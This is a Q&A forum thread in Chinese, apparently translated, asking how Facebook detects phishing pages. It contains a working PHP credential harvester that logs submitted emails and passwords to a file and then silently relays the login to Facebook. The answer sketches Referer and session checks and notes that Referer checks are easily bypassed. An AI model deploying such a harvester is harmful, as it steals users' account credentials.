Facebook网络钓鱼检测


Facebook phishing detection

我正在做一项关于计算机安全的小任务,目前正在研究网络钓鱼。

因此,出于教育目的,我写了一个最简单的"钓鱼网页",并试图了解Facebook是如何检测钓鱼欺诈网页的。

我的index.html是facebook主页,而我编辑它是为了将用户重定向到phishing.php页面。

phishing.php:

<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."'nP: ".htmlspecialchars($_POST['pass'])."'n'n");
fclose($file);
?>
<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>
</form>
<script language="JavaScript">
    document.frm.submit();
</script>

我的问题来了。一切都很好,除了用户(我)输入用户名和密码之外,Facebook说:

安全注意事项:为了您的安全,永远不要输入您的Facebook密码在不在Facebook.com 上的网站上

那么,脸书使用哪种机制来检测这样的钓鱼页面呢?

谢谢!

我能想出很多方法让facebook实现

方法一:HTTP Referer
在你发送的每一个HTTP请求中,都会发送一个referer来指示你来自哪里,facebook只需执行以下

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

方法二:会话
Facebook可能会在其index.php页面上启动一个会话,一旦提交登录表单,就会对其进行检查,例如

index.php
$_SESSION['coming_from_facebook'] = true;
login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

这都是psuedo代码,第一个方法很容易被绕过,因为用户可以修改Referer。